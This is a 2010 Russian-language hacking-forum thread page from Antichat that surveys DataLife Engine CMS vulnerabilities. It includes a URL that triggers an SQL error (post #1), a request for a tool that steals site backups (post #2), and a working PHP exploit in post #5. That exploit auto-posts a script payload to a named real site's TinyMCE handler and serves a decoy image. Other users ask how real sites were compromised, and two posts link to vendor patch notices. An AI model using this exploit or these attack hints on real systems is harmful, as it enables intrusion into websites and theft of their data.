HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Перезагрузить страницу [ Обзор уязвимостей DataLife Engine ]
   
Ответ
Страница 15 из 39 « Первая < 5 11 12 13 14 15 16 17 18 19 25 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 02.06.2010, 11:30
MaZaHaKaT
Новичок
Регистрация: 14.05.2010
Сообщений: 2
Провел на форуме:
22300

Репутация: 5
Smile
Вот недавно нашёл багу.
В зависимости от чпу выполняем запрос
Например:
Код:
http://skripters.com/dle_haki/page/9999999999999999999/
Получаем:
Код:
MySQL Error! ------------------------  The Error returned was: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '7.3786976294838E+19,8' at line 1  Error Number: 1064
Я думаю найдёте применение
Неоткажусь от ++
 
Ответить с цитированием

  #2  
Старый 03.06.2010, 08:16
EoGeneo
Познающий
Регистрация: 29.08.2009
Сообщений: 75
Провел на форуме:
315861

Репутация: 5
По умолчанию
Я где то слышал что была софтина, которая ворует бэкапы - если он есть на сайте в папке backup. Не подскажите? сайтик нашел, папка бэкап есть имя бэкапа не могу подобрать
 
Ответить с цитированием

  #3  
Старый 04.06.2010, 11:37
m00nster
Новичок
Регистрация: 24.04.2010
Сообщений: 3
Провел на форуме:
17830

Репутация: 1
По умолчанию
Цитата:
Сообщение от EoGeneo  
Я где то слышал что была софтина, которая ворует бэкапы - если он есть на сайте в папке backup. Не подскажите? сайтик нашел, папка бэкап есть имя бэкапа не могу подобрать
держи
 
Ответить с цитированием

  #4  
Старый 05.06.2010, 01:40
m00nster
Новичок
Регистрация: 24.04.2010
Сообщений: 3
Провел на форуме:
17830

Репутация: 1
По умолчанию
Хм,кто нить тут отпишется как юзать багу с помощью "Tiny MCE редактор"
 
Ответить с цитированием

  #5  
Старый 05.06.2010, 11:28
zebrum
Новичок
Регистрация: 27.12.2009
Сообщений: 6
Провел на форуме:
26960

Репутация: 6
По умолчанию
Работает любой хтмл тег отосланный пост запросом на engine/editor/jscripts/tiny_mce/plugins/typograf/handler.php

ТИПА ЭКСПЛОИТ
PHP код:
PHP код:
<?php 
$value = urlencode("<script>alert('HACKED BY KZPROMO trololo');</script>"); 
if($_GET['unset'] == "time") unset($_COOKIE['time']); 
if(!isset($_COOKIE['time'])) 
{ 
setcookie("time",time(),time()+3600); 
echo <<<HTML 
<html> 
<head> 
</head> 
<body> 
<center> 

<form name="hack" action="https://gomel-sat.net/engine/editor/jscripts/tiny_mce/plugins/typograf/handler.php" method="post"> 
<input type="text" name="text" value='$value' style="boder:none;FONT: 0px Tahoma; border:0px solid #FFFFFF;" border="0"> 
</form> 

<script> 
document.hack.submit(); 
</script> 
</body> 
</html> 
HTML; 

} 
else {  
header("Content-type: image/jpg"); 
$image = imagecreatefromgif('smile.jpg'); 
imagegif($image); 
imagedestroy($image); 
} 

?>
Автор: kzpromo
 
Ответить с цитированием

  #6  
Старый 05.06.2010, 16:46
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Talking
Я подстолом. Сорри за оффтоп, но теперь уже и под пассивные XSS у нас сплойты пишут
 
Ответить с цитированием

  #7  
Старый 06.06.2010, 11:21
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


По умолчанию
Цитата:
Сообщение от Nightmarе  
Я подстолом. Сорри за оффтоп, но теперь уже и под пассивные XSS у нас сплойты пишут
Ну а если там только post, как иначе?
 
Ответить с цитированием

  #8  
Старый 06.06.2010, 01:19
valeros
Новичок
Регистрация: 22.08.2009
Сообщений: 1
Провел на форуме:
83171

Репутация: 0
По умолчанию
Есть ли способ увидеть имя БД в новых версиях DLE (8.2-8.5)?
 
Ответить с цитированием

  #9  
Старый 07.06.2010, 03:10
kickboxer
Познающий
Регистрация: 25.11.2009
Сообщений: 31
Провел на форуме:
100433

Репутация: 0
По умолчанию
извиняюсь, если было, но может кто подскажет как взламывали недавно сайты, например zerx.ru .
Вот заплатка от взлома http://dle-news.ru/bags/v85/1037-provedenie-ataki-mezhsajtovogo-skriptinga-xss.html
 
Ответить с цитированием

  #10  
Старый 08.06.2010, 13:59
Quicky
Новичок
Регистрация: 27.09.2007
Сообщений: 10
Провел на форуме:
33287

Репутация: 0
По умолчанию
Да вот действительно тема: http://dle-news.ru/bags/v85/1040-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html только не как не могу в ней разобраться ...
 
Ответить с цитированием
Ответ
Страница 15 из 39 « Первая < 5 11 12 13 14 15 16 17 18 19 25 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[ Обзор уязвимостей WordPress ] ettee Веб-уязвимости 383 23.11.2019 05:00
Обзор уязвимостей в платных CMS ZAMUT Веб-уязвимости 90 03.12.2017 01:35
DataLife Engine v.6.5. Null Student :) ПО для Web разработчика 31 23.02.2008 15:36
[ Обзор уязвимостей miniBB ] -=lebed=- Уязвимости CMS / форумов 3 12.01.2008 20:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.